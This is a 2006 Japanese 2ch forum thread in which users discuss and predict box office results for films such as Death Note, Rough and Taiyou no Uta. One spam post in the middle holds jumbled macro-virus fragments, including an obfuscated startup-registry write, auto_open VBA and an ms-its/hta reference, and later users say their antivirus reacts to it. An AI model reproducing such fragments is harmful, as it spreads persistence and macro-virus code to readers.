興行収入を見守るスレ90

(前スレ)
興行収入を見守るスレ89
http://tv8.2ch.net/test/read.cgi/movie/1150204187/

煽　　　り　　　は　　　徹　　　底　　　放　　　置
(このスレはわかりやすく言えば「売れるか売れないか　売れたか売れなかったか」だけを話すスレです
映画や役者などに関する　個人的な考えや印象・感想や価値観などは全てスレ違いですので　別スレへ)

・BOX OFFICE MOJO http://www.boxofficemojo.com/
<全国ランキング>
・MovieWalker(月) http://www.walkerplus.com/movie/ranking/hit.html
・goo 映画 http://movie.goo.ne.jp/ranking/boxoffice/index.html（火）
・eiga.com（火） http://www.eiga.com/ranking/index.html
・BOX OFFICE(土〜日) http://www.boxofficemojo.com/intl/japan/
・まとめサイト http://www.geocities.jp/kosyu2ch/index.html
・興行成績関連リンク　 http://ahoeiga01.hp.infoseek.co.jp/hawl/link.html
過去スレなど関連リンクは>>2-10など

【Box】全米興行収入を見守るスレ6【Office】
http://tv8.2ch.net/test/read.cgi/movie/1144179143/
興行収入のデータやニュースのみを貼るｽﾚ
http://tv8.2ch.net/test/read.cgi/movie/1119066402/
興行収入の分析を行う人専用スレ01
http://tv8.2ch.net/test/read.cgi/movie/1132315484/
＊＊　興収/コケ予想＆映画全般雑談スレ　１　＊＊
http://tv8.2ch.net/test/read.cgi/movie/1110014262/
映画の日本公開日の情報スレ
http://tv8.2ch.net/test/read.cgi/movie/1095408978/
○|￣|＿　大コケした映画　11本目 ＿|￣|○
http://tv8.2ch.net/test/read.cgi/movie/1140336575/
【興行収入】劇場公開アニメを語ろう9回目【映画】
http://anime.2ch.net/test/read.cgi/asaloon/1148426100/

■その他のローカルランキング
九大都市　GYAO ttp://c.gyao.jp/index.php
TOHO ttp://www.tohotheater.jp/index.html
ワーナーマイカル ttp://www.warnermycal.com/
チネチッタ　ttp://www.cinecitta.co.jp/index_flash.shtml
シネリーブル千葉　ttp://www.cinelibre.jp/chibant/index.html
静活　ttp://www.shizukatsu.co.jp/frontcinema.htm
TOKYOミニシアターランキング ttp://www.wowow.co.jp/movie/movie_top/tokyo_cinema/

>1乙

大コケと評判の花なほ、友達に連れられて見てきた。
弱点は多々あるけど自分は結構良作だなと思った。
滑舌の悪さが気になるが、主演の岡田も演技は良かったかと。
でも松竹はあんまりこの映画を売ろうって気がなかったんだろうなと思った。

松子大ゴケしたのは主演女優のせい

長澤さんの主演作「涙そうそう」の特報です。泣きますよ。
同じく主演作「ラフ」の予告編も泣ける。

http://www.nada-so.jp/

>>7
宣伝ウザイ

ＭＩ３に限らず
先行で土日まるまるやるなら週末ランキングにいれるべきだ

>>5
いや、ほとんどすべての関連雑誌の表紙は岡田だったから、松竹も
ジャニも力を入れていたことは確か。
こういうのは「こけ」と言われても仕方ないんじゃないの？

>>6
間違いが２つある。

1.「松子」は最終12億といわれ、すでに「ヒット」と表現されている。
２．映画は失敗作だが、中谷美紀は前作「疾走」と並んで、同世代の
　女優No.1であることを実証。数々の女優賞を受賞するでしょう。

見て見てこれｗｗｗｗｗ　　推薦してやってｗｗｗｗｗｗ | ニュース・経済

No.2127025 投稿者: unko_rean 作成日: 2006-06-22 11:11:52 閲覧数:53 推薦ポイント:0 / 0



http://bbs.enjoykorea.jp/tbbs/read.php?board_id=tmovie&

>>7
ラフは泣けるか？
まだタッチのほうが泣けるかと。

>>13
予告編を見ただけで、明らかに「タッチ」とできが違うことがわかる。
言っては失礼だけども、監督の差でしょうね。素材（長澤さん）は同じだから。
微妙な表情の表現、ここぞと流れるスキマスィッチ。
これは当たると思うな。大谷監督、またしても代表作かな？

>>11
いやいやマスコミはこけたものでも平気でヒットとかスマッシュヒットとかわけわかんない言葉使ったりするから
それと2に関しては中谷ヲタ痛すぎだから死んでね
どうせ松子でも大して賞取れないのは間違いないんだからｗ

松子１０億で終了じゃ？
今週末からは着信アリに切り替わるし
ムーブオーバーで２億はなかなか稼げないよ。

「ラフ」の公式HPに、予告編がUPされていて、できがいい。
まあ、見てください。30億という私の言葉を信じるから。

http://www.rough-movie.jp/index.html

松子はあんなに宣伝したのにほんと酷い結果で終わったｗ

>>15
「松子」を失敗作、中島監督を一発屋だという私がだよ、「松子」が
こけたという君の弁を理解できない。
たとえば「花よりもなほ」なんかはどうなるの？　あれだけパブして
３億だよ。その４倍だよ。

花よりもなほって東宝じゃないでしょ
東宝映画で宣伝しまくりだったの大ゴケした松子

さらに言うなら、中谷美紀のことを褒めると、すぐにヲタというの
やめなさい。恥ずかしいから。
彼女の「疾走」を見てないでしょう。「松子」でカリカチュアライズ
された演技が、リアルな話の中で見事に昇華され、間違いなく最も
上手な映画女優だとわかる。ヲタだのなんだの馬鹿らしい。
うまいものをうまいと言って、何が悪いの？
長澤さんはうまい。それも事実。中谷は好きな女優ではないがうまい。

長澤も堤も主演映画のプロモがあるから、連ドラ撮り早めたのかも
秋の松竹２作連続で、浅田次郎作品やるんだな

>>20
君は学生かな？
松竹も一部上場企業でしょう。なぜ、松竹は３億でもいいの？
説明してみなさいよ。

>>14
いや出来の問題でなく内容が。
カッちゃん死ぬからさ。

最近、東宝でも１年に２回主演をはる人が増えているが、長澤まさみの
２ヶ月連続主役には驚いた。
これで、同時期に初の連ドラ主演って、高校を卒業したからできるのか。
CMも某HPによれば12本らしいね。同時に流れないので、８本というような
言い方がされているが、契約本数ではトップに立ったよう。
映画も東宝で、青春もの＋大作、という感じで年間２本ペースなのかな。
柴咲コウが先をいっているが、キャラが全く違うため、彼女は清純派＋
演技派路線、つまりは今年の「ラフ」＋「涙そうそう」路線で行くのかな？

>>24
回答じゃないけども、「タッチ」って周囲にもファンが多くて驚いた
けど、原作をまるで知らないで映画を見ただけだと、できの悪い話
だと思った。
というか、今映画化する意味がわからない、企画趣旨の見えない映画
だったと思う。長澤まさみを使うという前提での出発なら、それこそ
「ラフ」「セーラー服と機関銃」だったでしょう。
後付けで物を言っているわけだけども、犬童って大監督風だけど、
現時点での最大ヒットは「タッチ」だからね。
大谷監督は「NANA」を見る限り、犬童のようなやっつけ仕事はしないでしょ。

>>25
> 最近、東宝でも１年に２回主演をはる人が増えているが、長澤まさみの
> ２ヶ月連続主役には驚いた。
驚いてはねえだろアンタｗ
公開送れた事情も知ってんだから。

長沢の本格路線なんてこれからいくらでもできるんだから
今しかできない高校生の青春モノをもっとやってほしい。
ラフやタッチなんて企画モノだけど
こういう青春モノにもちゃんと需要あるし
チェケラッチョみたいな？？？な作品もヒットする背景がある。
評論家が喜びそうなのは数年に1本で十分。

>>21
中谷ヲタきもい
疾走なんてマイナー映画見てるの出演者のヲタぐらいだよｗ
その時点で中谷ヲタ丸出し

>>26
うん。俺もタッチは駄目だと思うよ。
あれはタッチというバケモノ漫画（アニメ）あってのもの。
原作知らないとかなり厳しい。

その点ラフはどこを切り取っても成立するから
映画という尺で十分魅力発揮できると思う。
が…もこみちが高1ってｗ　回想で中学も出るがどうすんだろ。

>>27
長澤まさみの同世代女優。挙げるときりがないけども、みな背伸びしないで
高校生役をやっているのが新鮮に見える。
かつて、高校生を主役にした話って、渋谷のレイトショー行きケテイだった
でしょ（今も「渋谷怪談」とかそうだけど）。制服映画が全国公開されるのが
普通って、実は角川三人娘以来なんだよね。つまりは20年ぶり。
長澤さんには無理させてないと思うよ。ただ、「セカチュー」のインパクトは
とてつもなく強いものがあるから、ああいう路線だけだとイメージが固定
するからなあとは考えてるでしょ。
でも、すぐに恋愛ものはやらないと思うけどね。

>>28
しかしまあ、「なんとかヲタ」というのが好きやね。
「疾走」を見たのはSABUの新作だから。中谷美紀は主役じゃないです。
でも、今までたいしたはまり役もなかった彼女が、初めて本領を発揮
した映画で、注目されなかったのはかわいそう。
中谷美紀は「７月24日・・」の主役も決まり、これからでしょ。
ヲタという表現が好きな君に教えるけど、好きな女優じゃない。

>>29
もこみちは老け顔の高校生なんだよ。タイヨウのうたで塚本
が高校生できたんだからオッケーだろw

ラフはもこみちスキャンダルが風化すれば良い線いくんじゃない？
ある意味適当な時期にスキャンダルが出て良かったかも。これが
公開直前だとさすがに青春映画としては辛い。

>>32
塚本は高3設定かな？
多分彼の最後の高校生役だろうけど凄く良かった。
興行にインパクト与えられる俳優じゃないけど
評価は確実に上がったと思う。

もこみちスキャンダルって
もこみちは数字持ってないんだから問題ない。
もこみちで気になったのは高1の春って設定が
ラフの冒頭だから顔よりもガタイのほうが気になる。

>>33
塚本は高３設定だね。

嫌われ松子が大ゴケしたのは主演女優中谷美紀のせい

塚本高史って、実は「ロボコン」でしか知らないんだけど、いい役者だね。
待機作品も多いそうだし、すごくいいポジションを取れていると思う。
少し悪いんだけど、いいやつみたいな。
「グリース」っていう米国のミュージカル映画で、
ジョン・トラボルタとオリビア・ニュートン・ジョンが高校生役をやったの、
確か35歳くらいじゃない？

ロボコンとは全然違う役柄を好演してた。映画俳優としては
あの世代でかなり上位にくる良い役者だと思うな。今回の
好演で幅を広げてこれから期待大。ただ、これから主演の
道を歩むのか、助演を主なポジションとするかが微妙な
立場ではあるな。芸達者だけにね。

>>32
ラフは，タッチの柳の下の２匹目のどじょうをねらって，東宝が小学館，
日テレと組んだ完全な２番せんじ企画。タッチほど原作の知名度はないし，
8月２６日には，フジテレビの「ｕｄｏｎ」が東宝系で派手に公開される
ので，正直，前作の８がけ，１０億程度の興行収入がでれば御の字と踏んで
いるはず。

>10
今沢山ある映画雑誌とか見て、
「これ面白そう、見に行こう！」とか思うやつなんているのか？
すくなくとも自分は興味ある俳優のページしか見ない。
映画は予告編とかＣＭでいかに面白そうに、興味をひくように
見せられるかじゃないかと思うんだけど。

>>38
UDONと客層がまったく被らないと踏んでの同時期の公開
だろうね。

劇場系列も舘数もタッチとほぼ同じだから10億を確保して
長澤の商品価値の維持図ろうという作品だろうね。ただ、
涙そうそうがずれ込んで来たのは当初の計算とは違うから
そのへんの相乗効果までは計算してなかったろうけど。

相乗効果、原作の知名度なし、長澤の旬、などで、
前作上回るような気がするけど。タッチの場合は
原作の知名度、普及度がマイナスに作用したと
思うからね。

>>38
長澤ひいきだという点はあるとしても・・それは間違いだと思うよ。

「ラフ」はまず、監督を犬童という作家主義で成功しても、娯楽映画では
うまくいかない監督から、その真逆の娯楽映画で成功した大谷監督にスイッチ。
野球ができる双子という制約から、うまくもなければ人気も無い、斎藤兄弟
から、旬のもこみち、「NANA」で宮崎あおいから役を奪った市川由衣など
周囲を人気者で固めた。
歌がメインの映画が多い中「タッチ」は明らかに失敗だったが、予告を見る
限りスキマスイッチの歌はヒット間違いなし。
長澤さんは東宝の生え抜き女優として、絶対に失敗させない意地もある。
東宝が本気になったら、そりゃだめなはずないでしょ。

>>40
指摘があったように「涙そうそう」の公開は、ずれこんだわけだけど、別に
そもそも企画自体がだめだという雰囲気があった。
人気の二人を確保して、それが一度ながれたこと、○周年というイベント的
映画だったことなどから、無理をする必要はなかった。
長澤は５月に「ラフ」の撮影が終わって、まさにすぐ「涙そうそう」の撮影
に入り、まさにすぐ「セーラー服」の撮影に入る。
結果的に、長澤さんの波状攻撃が続くわけで、いずれも外れる要素皆無。
ドラマの話は板違いだからやめるが、これもまた彼女にとっては最高の
タイミングじゃないかな。今後はずっと映画主演でいくんだろうから。

＞「NANA」で宮崎あおいから役を奪った市川由衣など
？！
マジ？まぁなんとかなるだろうが残念だな。
そもそもNANA2はオリジナルストーリーにしなきゃ収拾つかないとこまで
きちゃってるからなぁ…
あずみ2みたいになりそう。

>>40
TBSの涙そうそうの公開時期のずれこみは，ラフにとっては相乗効果どころか，マイナスに
しか働かない。今の公開時期からみると，ラフ公開直後ころから，長沢は，涙そうそうの
主演女優としてTBSに露出しまくることになる。そのとき，長沢は，同じTBSの映画「セカチ
ュー」に出演した女優で，TBSの秋からのドラマセーラー服と機関銃主演女優として広
報される。ラフのラの字もでないはず。こうなると，日テレとしても，ラフの宣伝は
しづらくなる。ラフについては損がでなければめっけものといった感じだと思う。

しっかし長澤まさみの露出凄いねぇ
映画にCMに連ドラって

＞露出度が上がるとマイナスに作用する。
＞原作の知名度がマイナスに作用する。

馬鹿じゃないの

ttp://www.studio-digital-art.jp/inamura-station060517/studio/program/inamura-works/java-script/inagon/bgm/inamura-invention.mp3
ttp://www.studio-digital-art.jp/inamura-station060517/studio/music/inamura-works/reason/inamura-generation3-techno.mp3
ttp://w ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
ܷܵܶ

>>46
＞原作の知名度がマイナスに作用する。
これはあると思うよ。イメージが強すぎる、しかも一大ブームを起こした過去の作品の実写映画化
今さら感というのがあるよ。少なくとも電車男とかセカチューとかじゃないな

タッチって有名原作の割には１２億って大コケだよねぇ。
ラフもいいとこ行って１０億だな。

タッチなんて長澤ファン以外誰が見るんだ？って映画じゃん
DVDも借りる気もしない

ウイルス表示がうるさい。

涙そうそう、特報をみてラズを感じたのは私だけ？
大体血の繋がらない兄弟の切ない愛のお話？だったかのキャッチフレーズからして怪しい。韓国ドラマ？
過去にそんな話でウケたのあるの？

ぴあの満足度でタイヨウが一位だったけど90点行ってない
客層としては意外に10代女子が少ない

>>53
今日の「ぴあ」を買って、わたしも「タイヨウのうた」が満足度１位になった
ことを喜んだ。
と同時に今日見たばかりでおもしろかった「デスノート」の、点の低さにも
驚き。

>>52
「涙そうそう」は最近ないジャンルだから受けるんだってば。
ほぼオリジナル脚本でしょ。そこに旬の二人とくればもう。
このスレの人には理解できないみたいだけど、東宝秋の最大のヒット
は間違いないと思う。

なんでアンチウィルスソフトが反応するの

『着信アリ　Final』30点（100点満点中）

アジア市場向けに韓国のアイドル、ジャン・グンソクを主演に据え、手堅く中ヒット狙いの路線。
安直に韓国ネタを取り込んで、適度に稼げればいいという考えが見えてしまう、お手軽品。
パート1はとてもよかったのだが、ずいぶんと落ちぶれたものだ。
それでもこのシリーズが好きという方を止めはしないが、もうちょっとがんばりましょう、
というのが私の率直な意見だ。

引用元：tp://movie.maeda-y.com/movie/00750.htm

>>57
それは前田有一の評だよね。彼の評は必ず読んでいるけど、完全なる反面教師。
つまり、彼が褒めた映画は「くだらなそう」（例：インサイド・マン）、
けなした映画は「おもしろそう」（例：今日まさに見た傑作「デスノート」）。
前田は映画のほかは、格闘技だの漫画だの、映画の周辺として評論家なら
勉強すべきことをほとんど知らない。
私も弱いから人のことはいえないが、宗教・歴史・（以下は私はまあまあ）
心理学・美術・演劇・オペラ・音楽など、無知というか、そんなことも
知らないでよくけなせるなあとか。
さすがに「デスノート」のけなしっぷりと、今日実際に見た自分の目で、
改めてこの人の際立った漫画が原作だと、映画評論家でなくなるという
問題が浮き彫りになったように思う。

デスノートは原作が人気だから
そのキャラと乖離したときに拒否反応出ちゃってんじゃないの？

>>59
漫画原作ものって、まずはキャラへどの程度似せられるかが問題になるよね。
でも、前田有一はそのあたりになると、映画評論家ではなく、ただの町の
兄ちゃんになってしまう。
映画としてどうかが問題であって、似ているかどうかなんて与太話は２ちゃん
だけにしてほしいもの（ｗ　私は原作を垣間見たことさえないので、もの
すごく楽しめた。話がおもしろいし、展開もなかなか。
かつてのトンデモ映画ばかりの日本映画を見てきた人間からしたら、もう
十分ですよ。邦画には厳しい前田、おちゃらけ米国アクションにはやけに甘い
前田。反面教師なんて呼ぶのもやめよう。

>>59
漫画ヲタクというのは特殊だからな。
自分の思い描いてる世界と乖離するとまるで評価できなくなるから。
デスノートの場合、映画評観る限り、
原作未読の人の方がむしろ評価が高いんだよ。

>>61
興行スレなので成績とからめて書くなら、この映画には香椎由宇の演じた、
原作には出てこないという役柄が絶対に必要だったと思う。
もちろん、ラストのあの場面も原作にはないわけでしょう。（そもそも登場
しない人の話なんだから）でも、あれこそが映画的興奮でしょう。
映画と漫画は得意分野が違う。よく二次元か三次元かというけど、それだけで
なく漫画には文字がすごく多い。独白もあれば、感情を言葉で語ったりする
説明的描写も少なくない。それは年少の読者にわからせるためには必要だけど
映画の観客はもっと年齢が上なので、感情を言葉で表現したりすると逆に
映画的ではなくなる。
漫画と映画は違うんだという、あまりに当たり前のことを知らない人が多すぎて
困ります。「デスノート」は映画としては間違いなく傑作です。

デスを昨日見てきたけど、会場の9割9分女性だったので、
僕は女性に囲まれて一人でソワソワしてましたよ。
スタッフは気を使って僕を通路側の席にして欲しかった。
とても映画に集中できる状況じゃなかったので明日また見に行きます。

デスノートは二大人気キャラの月やＬが原作とイメージ違う！
という層が低い点数つけるだろうであてにならん。

>>56
>>47

>>64
かつて、文学＝小説が映画化されることが多かったが、それも原作とイメージ
が違うというので不評というケースが多かった。
今はリメイクがそうだね。オリジナルに劣るって。
映画はそう言われる運命にあるんだろうね。オリジナル脚本だと企画会議で
没になるケースが多いから、原作ものが多いのは映画の場合しかたないんだよ。
観客も悪い。作り手だけを責められない面がある。「デスノート」なんて
漫画を見てないと、良いできの映画だと思うよ。「NANA」でつくづく感じた
けども、映画と漫画は根本的に別のもの。同じ土俵で論じるから変になる。
J-POPの歌手がうまい？　クラシックのどんな下手な歌手より下手だよ。
彼らは音大で音楽を大学院まで勉強して、留学してるんだよ。
比較してもしょうがないでしょ。

>>64
まさにそう
批判の内容が原作とキャラが変わってる、このシーンが削られてる
あのセリフが無い、オリジナル部分がつまらない
の原作に固執する奴ばかり

俺のマシンいまだにWin98SEだからか
ホワイトプラネッツのWebが見れん＿|￣|○

公開館数が何館だかわからんぞ！
yahooの60館で良いのか？
わかる人いたら教えてくれ。

>>68
公式で劇場調べてみたけど、6月24日に公開するのが大体50館くらい、
7〜8月とか、初夏とかになってるのが約20館くらいだったよ。

ちなみに、関東・甲信越は全部6月24日公開だった。

>>69　THX
このラインの映画は

一昨年が「デープブルー」（東北新社・興収11億）
去年が「皇帝ペンギン」（GAGA・興収10億）
で、微妙にランクキングに絡んでくる可能性のある作品だし
今年はまじめな東北新社・東宝での公開だから
そこそこ行きそうな感じなので関心を持って見守りたい
日本国内では造れない作品だしね

ロマンチック街道とかギリシャ・ローマの旅とかエジプト遺跡の映画も作ればいいのに
シニア料金客でそこそこ埋まりそうな気もするんだがw
創成期の映画は海外ドキュメンタリーみたいな事をやってたんだから別段恥ずかしい事じゃない

>>71
　今は興味があればその場所に行けるから

先週1-10位全部当てた人がいましたね。おめでとう！
1年位やっとるのに私は予想当たったことがない。少し凹む・・・

週末予想 　2006年6月24日＆25日 (全国動員）　

1 デス、2　ダビンチ、3　徳利2、4　着信アリ、5　海猿2
6 タイヨウ、7　バルト、8　海王、9 U.V、10　松子

着信アリfinal　2億、ウルトラヴァイオレット6-7千万、ホワイトプラネットは4千万で予想
U.Vは渋谷東急系でルーブルでも公開と聞こえは良いが渋東系の丸の内TOEI2をナベケンに獲られて
ルーブルの「GOAL!」は打ち切りと、思いっきし真後向きの拡大？公開です。大丈夫か？今年の東急系

今週末のシネコンのスケジュールが出てきてるからみたけど、
Mi3のおかげでランキング下位映画は容赦なく削られてる。
バルト、タイヨウのうたとかワーナーは１日一回とかけっこうある。
TOHO、松竹ではタイヨウはそれほど酷くないけど。

松竹MOVIXとかワーナーではではウルトラバイオレットが土日だけ１日１〜２回上映（平日３〜４回）
という初週興行が多いというのがあまりにカワイソウ。
別の見方をすると７月８日の同日公開予定のブレイブストーリー、サイレントヒル
はMi3出がらしになってそうだからラッキー

週末予想
1デス 　　　3.0億
2ダビンチ　
3徳利2 　　2.2億
4海猿2　　 1.5億
5着信アリ　1.3億

着信は前作の不評と韓国ネタが響いて国内では大コケの可能性大。
まぁもともとアジア向けに売り出しているから日本でコケてもＯＫ？
いや純粋な日本ホラーにして日本でヒット狙った方が儲かると思うけどね・・・。
アジアでの稼ぎなんて知れてる。

ＢＯきてる

June 17-18　１ドル＝112.7円
今 先 累計興収 　 週末興収 Theater 週 　題名
1　-　*,408,819,250　408,819,250　342　1　デスノート　前編
2　1　7,034,366,711　365,145,971　696　5　ダ・ヴィンチ・コード
3　2　1,002,435,620　303,116,117　282　2　トリック　劇場版２
4　3　6,245,646,129　199,966,315　290　7　LIMIT OF LOVE　海猿
5　-　*,129,517,657　129,517,658　298　1　バルトの楽園(がくえん)
6　-　*,129,401,351　129,401,351　219　1　タイヨウのうた
7　4　*,952,971,026　108,911,702　282　3　ポセイドン
8　5　*,927,707,856　*70,662,337　224　4　嫌われ松子の一生
9　6　*,231,343,234　*45,971,232 216 2 インサイド・マン
0　7　1,885,659,096　*44,701,328 247 6 明日の記憶

多分、こんなところ

嵐の映画っておもいっきり三丁目の後パイ狙ってるな
きもいぜ

週末予想
1ダビンチ
2トリック2　
3デス
4海猿2
5着信アリ
6タイヨウ
7バルト
8UV
9松
10ポセ

>>66
２度と来ないで！

着アリってもうソフトとしてのパワー失ってない？
タイヨウのうたの2週目に負けるような気がする。
予想
1位デスノート
2位ダビンチコード　
3位トリック2
4位海猿2
5位タイヨウのうた
6位着信アリ
7位ポセイドン
8位バルト
9位UV
10位松子

松子は最後のトップ10。

デスノ行ったが思ったより年齢層高いな
おばはんとかサラリーマンたくさんいたわけだがなぜだ。
タイヨウのうたが思ったよりいいみたいだな。
チェケラッチョ並かと思ってたが違うのか。
見に行こうと思ったまま終わっていた花より、は
あの映画雑誌制覇は凄かったな、あんなことできるんだな見なかったけど。
６月は公開が込み合って凄かったなというのが印象であーる。

　 ┏┓┏━━┓　　 !　i　ﾚ1.,'　 /　　.i ./　i /　　　,..＜__ .il i !　　!　　　', 　 ┏━┓
┏┛┗┫┏┓┃ 　 .i　l　 ! ﾚi フｰ-.､ ﾚ　　'　 _,.ィ/⌒i;;;;;',ヽil |　　|- 、　 ',.....┃　 ┃
┗┓┏┫┗┛┃┏ .|　i　　 li/ //i⌒i;;ヽ　　　　　ﾍr';;;;;;;;;;l　} |　　| i .}　　.i . ┃　 ┃
┏┛┗..,. -‐‐ ､__┃ .|　l　　 |ヽ i|　'r';;;;;;;! 　 　 　 　',;::::::::ﾉ_ .! !　　| ./　　 .!　┃　 ┃
┗┓┏,'　　´ ,,,... ヽ_ .!　|　　 ! ヽ　　ヽ:::::!　　　　　　￣￣´　l l　　iノ　 |i　 l. .┗━┛
　 ┃　,'　　　　　　- ヽ　l　　 l ゝ,ヽ ｀￣´　　、　　　　　　　 .ﾉ !　 .!　　i ',　.| .┏━┓
　 ┗ ,'　　　　　　　,..､ | |　　 |　　｀.＼　　　　＿,,..- '　　　,ｨ' i l　　!　　i,.--＜｀ヽ、┃
　　　,'　　　　　　 ,ﾍ__ノ .i　　 |　 _,. -- ,`　 ､　　　　　 ,.　'　!l /　 ,'i　 /´~｀`　 ｀ , ヽ

>>82
タイヨウのうたのどこがいいって？

>>84
そんなもん客の入りに決まってんだろ
他にこのスレでなにがあるんだよ

タイヨウのうたは、松竹であまり予算もかけてなさそうだから
チェケラッチョ並みに１０億いったら上出来でしょう。

タイヨウは主題歌がオリコン3位で
相乗効果が期待できるでしょ。

タイヨウは宣伝に金かけてるだろ

みんなタイヨウ持ち上げすぎｗ
そんなたいしたことないのに。

タイヨウはタイヨウスレでも工作員が必死。

バルトもタイヨウも最終７億と予想。

全雑誌表紙制覇ってジャニーズ事務所のスタッフの趣味みたいなもんだから。
毎年、テレビ誌の年末年始特大号はＳＭＡＰが表紙制覇。
ジャニーズの誰かの主演ドラマが始まる時も表紙制覇。
コアなファンが確実に買ってくれるから、出版社はジャニーズに頭が上がらない。
カレンダーの販売権もほしいので、とにかく日頃から優遇。

バルトとタイヨウの数字がめちゃ近いｗ
バルトって今後伸びる余地あるの？
タイヨウは万人向けにヒットはないけど
純愛カテゴリーでいけるでしょ。
まだまだ純愛路線は儲かるはず。

バルトって制作費15億だっけ？
回収はまず無理だな

>>82
いくつか新聞の文化面を使ってデスノをとりあげてるからだと思う。
司法制度に絶望した青年がデスノートで社会の悪と闘う問題作、
みたいな説明で正直噴いた。

着信アリ８億
日本沈没３０億
ポケモン４０億
ゲド戦記６０億
ナルト１２億
ラフ１３億
ＵＤＯＮ１５億

>>96
沈没は黄泉がえりだって30億いったんだから、同じ草なぎで制作費も宣伝も比べ物に
ならないのに、せめて50億ぐらい行かないとまずいんじゃ無いのか。

日本沈没は予告みても見所がどこなのかサッパリわからないんだけど

黄泉がえりこそなんでヒットしたのかわからん。あれこそ確変やね。

この手の大作は出来も興行も大したことない印象だからそんなもんだろ。
夏のラインナップ凄いし。

>>97
日本沈没はむしろローレライの後継って感じじゃないか。あれはたしか２４億くらい
の興収だったから，３０億という予想はいい線いってると思う。

ブレイブストーリーも忘れないで！

夏季興行予想（7/1-8/19）
東宝系
07/08　65億　MI3（日劇1,3）
07/15　35億　ポケットモンスター（日劇2）
07/29　45億　ゲド大戦（日劇3）
07/01　15億　カーズ（スカラ座）
07/15　40億　日本沈没（有楽座＋）
08/05　*9億　ナルト（スバル座）
08/12　12億　ユナイテッド航空93便（みゆき座）

松竹・東急系
07/22　60億　パイレーツ・オブ・カリビアン（丸ピカ1）
07/08　*7億　サイレント・ヒル(丸ピカ2)
08/12　****　東京フレンズ(丸ピカ2)
08/05　*5億　釣りバカ（ブラ）
08/19　****　花田少年史(東劇)
07/15　****　ラブ・コン（？）

07/08　30億　ブレイブ・ストーリー(ルーブル)
08/19　15億　スーパーマン　リターンズ(ルーブル)
08/05　17億　森のリトルギャング(渋東)
07/22　****　ハチクロ（？）

東映系
08/05　10億　仮面ライダー(東映)

****は5億以下

と、一先ず見てみました。M:Iシリーズが客層が広いかな？と思い1位
本当はラブ・コンとハチクロは外して構わなかったのだが念の為いれておいた
一応、全チェーンの映画網羅したつもりなんで不足あったら教えてくれ。

>>103
ブレイブそんなにいくかな。
去年のフジ東宝の象よりも稼げないんじゃないか。
松竹系だし、アニメの供給過剰で。

東宝系　フジのudonとTBSの涙そうそうが抜けてる。特に涙そうそうは，TBS開局５０
周年記念作品で，すごい宣伝のはずだから，３０か４０億くらいはいくんじゃないか。

涙そうそうは9月。
「うどん」をいれるなら「ラフ」も入るか。

ゲド大戦

まあ当たるのはライダーくらいだな

>>104
松竹ではなくワーナー＝フジTVの、映画と見ての数値
フジTVの「ミリオネア」内のCMは腹を抱えて笑いました。
実際、デスノートもワーナーと言うことで良い出だしだったしね

>>107
あーっ！間違ったw

海猿はメインはスカラ座6/30までかね？
MI3まで日劇3にﾘﾀｰﾝとかはやんないかな
シネコンはｶｰｽﾞと交互やらﾆﾎﾁﾝまでﾀﾞﾗﾀﾞﾗやるとこあるが…

>>110
あるならスバル座で7月3日から7月7日までだね
7/8以降はダヴィンチのMOだろうし
その後はホワイトプラネットやカーズの入り次第なのかな？

>>109
　いつからワーナーがからんだ邦画がヒットするって話になってるんだ？
キューティハニーとかキャッチアウェーブとか

7/1はカーズの入り次第でデスノトリック着信の入りが左右されそうな気がするなー
微妙にターゲットの年齢層が重なってそうだ
気のせいかな？

>>112
そう言う誤解を与えたら悪かったと思うけど
松竹だと当たることが稀で
ワーナーなら当たる時には
当たる程度で解釈してください。

ワーナー邦画はヒットしてないだろ。
デスノートのヒットが異例だったわけで、
だから業界的にはショッキングだったんだろ。

ブレイブは厳しいと思うな
原作は子供向けというより
昔ゲーム、ファンタジー小説が好きだった大人向けって感じか
そのわりに絵はライト層向けになってるし
イマイチ絞れてない気がする

俺としてはハリポタ・ナルニアみたいなものを
日本で作ったらどうなるかって？感じだと思った。

ゲド戦記も似た感じだが

ブレイブはややライトにして婦女子層をメインにしてるかなー？と、思えた。
まさにフジTVのお得意なライン

ブレイブなんて見るのはアニオタくらいだろ。
30億なんて予想するヤツの気がしれん。
せいぜい5億だろ。

ブレイブはデスノと同じ３５０館で上映。３０億行くと思うよ。

無礼部２５億

ブレイブはクレしんと同じレベルまでいけば儲けもんじゃね？
13億と予想

ノルマは30億ってとこだな

まぁ、どのくらい行くかは分からないが
夏の大作映画ではケツの方だろうと言う事は分かっている

ブレイブ30億ってデスノ並の勢いが必要だが。
正直難しいと思うよ。普通にカーズ見るでしょ。

昔は声優に芸能人使うのってジブリの悪しき習慣だと思ってたけど
現状は酷いな
餅は餅屋だよな
声聞いて誰かわかるのなんて大塚明夫くらいしかいないが

ブレイブと同日公開のMI3のほうが子供も保護者も好きそうな気がするな
シネコンに行ってから見る映画を決める層を捕まえるには
ブレイブは微妙に弱いソフトじゃね？

ソフトとしてはフジが宣伝してなきゃ10億越えるかどうかもあやしい。

>>121の予想に１票

タイヨウのウタって絶対工作員がいる
だってこの映画においてのYUIの演技って
誰が見てもどうしようもなくとてつもなく下手糞なのに
タイヨウのウタスレではこなれてない所が初々しくて良いとか
逆に良いとか、不自然なマンセーがいくつもあったもんｗ

カーズだったらブレイブ見るだろ。

>>129
だからなんだよ？
そんなものイチイチここに書いてどうするの？

>>129
俺は妄想キチですと言ってるのと同じw　医者に診てもらえや

ＵＤＯＮの予告なんとかならんのかね
ゲド、日本沈没、ＭＩ３、パイレーツオブカリビアン、夏の大作の予告が流れてる時
ＵＤＯＮの予告が入ると一瞬空気が死ぬんだが
アレは絶対良い結果生まないと思う

週末予想
1　デス　2　ダビンチ　3　トリック2　4　着信　5　海猿
6　バルト　7　タイヨウ　8　ポセイドン　9　ウルトラ　　0　松子

>>129
＞タイヨウのウタって絶対工作員がいる

あほか。YUIなんて、一般人にはまるで知られていない無名歌手。
